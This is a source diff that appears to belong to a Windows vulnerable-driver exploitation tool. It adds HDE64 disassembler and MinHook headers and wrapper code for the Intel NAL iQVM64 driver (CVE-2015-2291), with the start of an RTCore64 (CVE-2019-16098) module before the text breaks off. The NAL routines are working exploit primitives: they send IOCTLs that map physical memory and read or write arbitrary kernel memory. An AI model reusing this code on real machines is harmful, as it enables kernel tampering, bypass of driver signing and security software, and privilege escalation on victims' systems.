#pragma pack(push,1)
|
||||
|
||||
typedef struct {
|
||||
uint8_t len;
|
||||
uint8_t p_rep;
|
||||
uint8_t p_lock;
|
||||
uint8_t p_seg;
|
||||
uint8_t p_66;
|
||||
uint8_t p_67;
|
||||
uint8_t rex;
|
||||
uint8_t rex_w;
|
||||
uint8_t rex_r;
|
||||
uint8_t rex_x;
|
||||
uint8_t rex_b;
|
||||
uint8_t opcode;
|
||||
uint8_t opcode2;
|
||||
uint8_t modrm;
|
||||
uint8_t modrm_mod;
|
||||
uint8_t modrm_reg;
|
||||
uint8_t modrm_rm;
|
||||
uint8_t sib;
|
||||
uint8_t sib_scale;
|
||||
uint8_t sib_index;
|
||||
uint8_t sib_base;
|
||||
union {
|
||||
uint8_t imm8;
|
||||
uint16_t imm16;
|
||||
uint32_t imm32;
|
||||
uint64_t imm64;
|
||||
} imm;
|
||||
union {
|
||||
uint8_t disp8;
|
||||
uint16_t disp16;
|
||||
uint32_t disp32;
|
||||
} disp;
|
||||
uint32_t flags;
|
||||
} hde64s;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* __cdecl */
|
||||
unsigned int hde64_disasm(const void *code, hde64s *hs);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _HDE64_H_ */
|
|
@ -0,0 +1,39 @@
|
|||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2015 Tsuda Kageyu. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// Integer types for HDE.
|
||||
typedef INT8 int8_t;
|
||||
typedef INT16 int16_t;
|
||||
typedef INT32 int32_t;
|
||||
typedef INT64 int64_t;
|
||||
typedef UINT8 uint8_t;
|
||||
typedef UINT16 uint16_t;
|
||||
typedef UINT32 uint32_t;
|
||||
typedef UINT64 uint64_t;
|
|
@ -0,0 +1,74 @@
|
|||
/*
|
||||
* Hacker Disassembler Engine 64 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#define C_NONE 0x00
|
||||
#define C_MODRM 0x01
|
||||
#define C_IMM8 0x02
|
||||
#define C_IMM16 0x04
|
||||
#define C_IMM_P66 0x10
|
||||
#define C_REL8 0x20
|
||||
#define C_REL32 0x40
|
||||
#define C_GROUP 0x80
|
||||
#define C_ERROR 0xff
|
||||
|
||||
#define PRE_ANY 0x00
|
||||
#define PRE_NONE 0x01
|
||||
#define PRE_F2 0x02
|
||||
#define PRE_F3 0x04
|
||||
#define PRE_66 0x08
|
||||
#define PRE_67 0x10
|
||||
#define PRE_LOCK 0x20
|
||||
#define PRE_SEG 0x40
|
||||
#define PRE_ALL 0xff
|
||||
|
||||
#define DELTA_OPCODES 0x4a
|
||||
#define DELTA_FPU_REG 0xfd
|
||||
#define DELTA_FPU_MODRM 0x104
|
||||
#define DELTA_PREFIXES 0x13c
|
||||
#define DELTA_OP_LOCK_OK 0x1ae
|
||||
#define DELTA_OP2_LOCK_OK 0x1c6
|
||||
#define DELTA_OP_ONLY_MEM 0x1d8
|
||||
#define DELTA_OP2_ONLY_MEM 0x1e7
|
||||
|
||||
unsigned char hde64_table[] = {
|
||||
0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
|
||||
0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
|
||||
0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
|
||||
0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
|
||||
0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
|
||||
0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
|
||||
0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
|
||||
0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
|
||||
0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
|
||||
0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
|
||||
0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
|
||||
0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
|
||||
0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
|
||||
0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
|
||||
0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
|
||||
0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
|
||||
0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
|
||||
0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
|
||||
0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
|
||||
0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
|
||||
0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
|
||||
0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
|
||||
0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
|
||||
0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
|
||||
0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
|
||||
0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
|
||||
0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
|
||||
0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
|
||||
0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
|
||||
0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
|
||||
0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
|
||||
0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
|
||||
0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
|
||||
0x00,0xf0,0x02,0x00
|
||||
};
|
|
@ -0,0 +1,385 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: NAL.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 07 Jan 2020
|
||||
*
|
||||
* Intel Network Adapter iQVM64 driver routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
#include "idrv/nal.h"
|
||||
|
||||
//
|
||||
// Based on https://www.exploit-db.com/exploits/36392
|
||||
//
|
||||
|
||||
/*
|
||||
* NalCallDriver
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Call Intel Nal driver.
|
||||
*
|
||||
*/
|
||||
BOOL NalCallDriver(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ PVOID Buffer,
|
||||
_In_ ULONG Size)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
IO_STATUS_BLOCK ioStatus;
|
||||
|
||||
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&ioStatus,
|
||||
IOCTL_NAL_MANAGE,
|
||||
Buffer,
|
||||
Size,
|
||||
NULL,
|
||||
0);
|
||||
|
||||
bResult = NT_SUCCESS(ntStatus);
|
||||
SetLastError(RtlNtStatusToDosError(ntStatus));
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* NalMapAddressEx
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Call MmMapIoSpace via Nal driver, return kernel mode virtual address.
|
||||
*
|
||||
*/
|
||||
BOOL NalMapAddressEx(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR PhysicalAddress,
|
||||
_Out_ ULONG_PTR* VirtualAddress,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
NAL_MAP_IO_SPACE request;
|
||||
|
||||
if (VirtualAddress)
|
||||
*VirtualAddress = 0;
|
||||
else
|
||||
return FALSE;
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
request.Header.FunctionId = NAL_FUNCID_MAPIOSPACE;
|
||||
request.PhysicalAddress = PhysicalAddress;
|
||||
request.NumberOfBytes = NumberOfBytes;
|
||||
|
||||
if (NalCallDriver(DeviceHandle, &request, sizeof(request))) {
|
||||
if (request.OpResult == 0) {
|
||||
*VirtualAddress = request.VirtualAddress;
|
||||
bResult = TRUE;
|
||||
}
|
||||
else {
|
||||
dwError = ERROR_INTERNAL_ERROR;
|
||||
}
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
SetLastError(dwError);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* NalUnmapAddress
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Call MmUnmapIoSpace via Nal driver.
|
||||
*
|
||||
*/
|
||||
BOOL NalUnmapAddress(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
NAL_UNMAP_IO_SPACE request;
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
request.Header.FunctionId = NAL_FUNCID_UNMAPIOSPACE;
|
||||
request.VirtualAddress = VirtualAddress;
|
||||
request.NumberOfBytes = NumberOfBytes;
|
||||
|
||||
if (NalCallDriver(DeviceHandle, &request, sizeof(request))) {
|
||||
bResult = (request.OpResult == 0);
|
||||
if (bResult == FALSE)
|
||||
dwError = ERROR_NONE_MAPPED;
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
SetLastError(dwError);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* NalVirtualToPhysical
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Translate virtual address to the physical.
|
||||
*
|
||||
* N.B.
|
||||
* Call driver Intel Nal driver MmGetVirtualForPhysical switch case.
|
||||
*
|
||||
*/
|
||||
BOOL NalVirtualToPhysical(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_ ULONG_PTR* PhysicalAddress)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
NAL_GET_PHYSICAL_ADDRESS request;
|
||||
|
||||
if (PhysicalAddress)
|
||||
*PhysicalAddress = 0;
|
||||
else {
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
request.Header.FunctionId = NAL_FUNCID_VIRTUALTOPHYSCAL;
|
||||
request.VirtualAddress = VirtualAddress;
|
||||
|
||||
if (NalCallDriver(DeviceHandle, &request, sizeof(request))) {
|
||||
*PhysicalAddress = request.PhysicalAddress;
|
||||
bResult = TRUE;
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
SetLastError(dwError);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* NalReadVirtualMemory
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Read virtual memory via Nal memmove switch case.
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalReadVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
NAL_MEMMOVE request;
|
||||
|
||||
PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (lockedBuffer) {
|
||||
|
||||
if (VirtualLock(lockedBuffer, NumberOfBytes)) {
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
request.Header.FunctionId = NAL_FUNCID_MEMMOVE;
|
||||
request.SourceAddress = VirtualAddress;
|
||||
request.DestinationAddress = (ULONG_PTR)lockedBuffer;
|
||||
request.Length = NumberOfBytes;
|
||||
|
||||
bResult = NalCallDriver(DeviceHandle, &request, sizeof(request));
|
||||
if (bResult) {
|
||||
RtlCopyMemory(Buffer, lockedBuffer, NumberOfBytes);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
VirtualUnlock(lockedBuffer, NumberOfBytes);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
VirtualFree(lockedBuffer, 0, MEM_RELEASE);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
SetLastError(dwError);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* NalWriteVirtualMemory
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Write virtual memory via Nal memmove switch case.
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalWriteVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
NAL_MEMMOVE request;
|
||||
|
||||
PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (lockedBuffer) {
|
||||
|
||||
RtlCopyMemory(lockedBuffer, Buffer, NumberOfBytes);
|
||||
|
||||
if (VirtualLock(lockedBuffer, NumberOfBytes)) {
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
request.Header.FunctionId = NAL_FUNCID_MEMMOVE;
|
||||
request.SourceAddress = (ULONG_PTR)lockedBuffer;
|
||||
request.DestinationAddress = VirtualAddress;
|
||||
request.Length = NumberOfBytes;
|
||||
|
||||
bResult = NalCallDriver(DeviceHandle, &request, sizeof(request));
|
||||
if (bResult == FALSE) {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
VirtualUnlock(lockedBuffer, NumberOfBytes);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
VirtualFree(lockedBuffer, 0, MEM_RELEASE);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
SetLastError(dwError);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* NalWriteVirtualMemory
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Write to virtual memory via mapping.
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalWriteVirtualMemoryEx(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes
|
||||
)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
ULONG_PTR physAddress, mappedVirt;
|
||||
|
||||
if (NalVirtualToPhysical(DeviceHandle, VirtualAddress, &physAddress)) {
|
||||
|
||||
if (NalMapAddressEx(DeviceHandle, physAddress, &mappedVirt, NumberOfBytes)) {
|
||||
|
||||
bResult = NalWriteVirtualMemory(DeviceHandle, mappedVirt, Buffer, NumberOfBytes);
|
||||
if (bResult == FALSE)
|
||||
dwError = GetLastError();
|
||||
|
||||
NalUnmapAddress(DeviceHandle, mappedVirt, NumberOfBytes);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
SetLastError(dwError);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* NalReadVirtualMemoryEx
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Read virtual memory via mapping.
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalReadVirtualMemoryEx(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
DWORD dwError = ERROR_SUCCESS;
|
||||
PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (lockedBuffer) {
|
||||
|
||||
if (VirtualLock(lockedBuffer, NumberOfBytes)) {
|
||||
|
||||
ULONG_PTR physicalAddress, newVirt;
|
||||
|
||||
if (NalVirtualToPhysical(DeviceHandle, VirtualAddress, &physicalAddress)) {
|
||||
if (NalMapAddressEx(DeviceHandle, physicalAddress, &newVirt, NumberOfBytes)) {
|
||||
|
||||
bResult = NalReadVirtualMemory(DeviceHandle, newVirt, lockedBuffer, NumberOfBytes);
|
||||
if (bResult) {
|
||||
RtlCopyMemory(Buffer, lockedBuffer, NumberOfBytes);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
NalUnmapAddress(DeviceHandle, newVirt, NumberOfBytes);
|
||||
}
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
VirtualUnlock(lockedBuffer, NumberOfBytes);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
VirtualFree(lockedBuffer, 0, MEM_RELEASE);
|
||||
}
|
||||
else {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
|
||||
SetLastError(dwError);
|
||||
return bResult;
|
||||
}
|
|
@ -0,0 +1,119 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: NAL.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Intel Network Adapter iQVM64 driver interface header.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
//
|
||||
// INTEL NAL driver interface for CVE-2015-2291.
|
||||
//
|
||||
|
||||
#define INTEL_DEVICE_TYPE (DWORD)0x8086
|
||||
#define INTEL_DEVICE_FUNCTION (DWORD)2049
|
||||
|
||||
#define NAL_FUNCID_MAPIOSPACE (DWORD)0x19
|
||||
#define NAL_FUNCID_UNMAPIOSPACE (DWORD)0x1A
|
||||
#define NAL_FUNCID_VIRTUALTOPHYSCAL (DWORD)0x25
|
||||
#define NAL_FUNCID_MEMSET (DWORD)0x30
|
||||
#define NAL_FUNCID_MEMMOVE (DWORD)0x33
|
||||
|
||||
#define IOCTL_NAL_MANAGE CTL_CODE(INTEL_DEVICE_TYPE, INTEL_DEVICE_FUNCTION, METHOD_NEITHER, FILE_ANY_ACCESS) //0x80862007
|
||||
|
||||
|
||||
typedef struct _NAL_REQUEST_HEADER {
|
||||
ULONG_PTR FunctionId;
|
||||
ULONG_PTR Unused0;
|
||||
} NAL_REQUEST_HEADER, * PNAL_REQUEST_HEADER;
|
||||
|
||||
typedef struct _NAL_GET_PHYSICAL_ADDRESS {
|
||||
NAL_REQUEST_HEADER Header;
|
||||
ULONG_PTR PhysicalAddress;
|
||||
ULONG_PTR VirtualAddress;
|
||||
} NAL_GET_PHYSICAL_ADDRESS, * PNAL_GET_PHYSICAL_ADDRESS;
|
||||
|
||||
typedef struct _NAL_MEMMOVE {
|
||||
NAL_REQUEST_HEADER Header;
|
||||
ULONG_PTR SourceAddress;
|
||||
ULONG_PTR DestinationAddress;
|
||||
ULONG_PTR Length;
|
||||
} NAL_MEMMOVE, * PNAL_MEMMOVE;
|
||||
|
||||
typedef struct _NAL_MAP_IO_SPACE {
|
||||
NAL_REQUEST_HEADER Header;
|
||||
ULONG_PTR OpResult; //0 mean success
|
||||
ULONG_PTR VirtualAddress;
|
||||
ULONG_PTR PhysicalAddress;
|
||||
ULONG NumberOfBytes;
|
||||
} NAL_MAP_IO_SPACE, * PNAL_MAP_IO_SPACE;
|
||||
|
||||
typedef struct _NAL_UNMAP_IO_SPACE {
|
||||
NAL_REQUEST_HEADER Header;
|
||||
ULONG_PTR OpResult; //0 mean success
|
||||
ULONG_PTR VirtualAddress;
|
||||
ULONG_PTR Unused0;
|
||||
ULONG NumberOfBytes;
|
||||
} NAL_UNMAP_IO_SPACE, * PNAL_UNMAP_IO_SPACE;
|
||||
|
||||
BOOL NalCallDriver(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ PVOID Buffer,
|
||||
_In_ ULONG Size);
|
||||
|
||||
BOOL NalMapAddressEx(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR PhysicalAddress,
|
||||
_Out_ ULONG_PTR* VirtualAddress,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
BOOL NalUnmapAddress(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
BOOL NalVirtualToPhysical(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_ ULONG_PTR* PhysicalAddress);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalReadVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalWriteVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalReadVirtualMemoryEx(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL NalWriteVirtualMemoryEx(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
|
@ -0,0 +1,357 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: RTCORE.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* RTCORE64 driver routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
#include "idrv/rtcore.h"
|
||||
|
||||
//
|
||||
// Based on https://github.com/Barakat/CVE-2019-16098
|
||||
//
|
||||
|
||||
/*
|
||||
* RTCoreCallDriver
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Call RTCore driver.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreCallDriver(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG IoControlCode,
|
||||
_In_ PVOID Buffer,
|
||||
_In_ ULONG Size)
|
||||
{
|
||||
BOOL bResult = FALSE;
|
||||
IO_STATUS_BLOCK ioStatus;
|
||||
|
||||
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&ioStatus,
|
||||
IoControlCode,
|
||||
Buffer,
|
||||
Size,
|
||||
Buffer,
|
||||
Size);
|
||||
|
||||
bResult = NT_SUCCESS(ntStatus);
|
||||
SetLastError(RtlNtStatusToDosError(ntStatus));
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreReadMSR
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Read given msr.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreReadMsr(
|
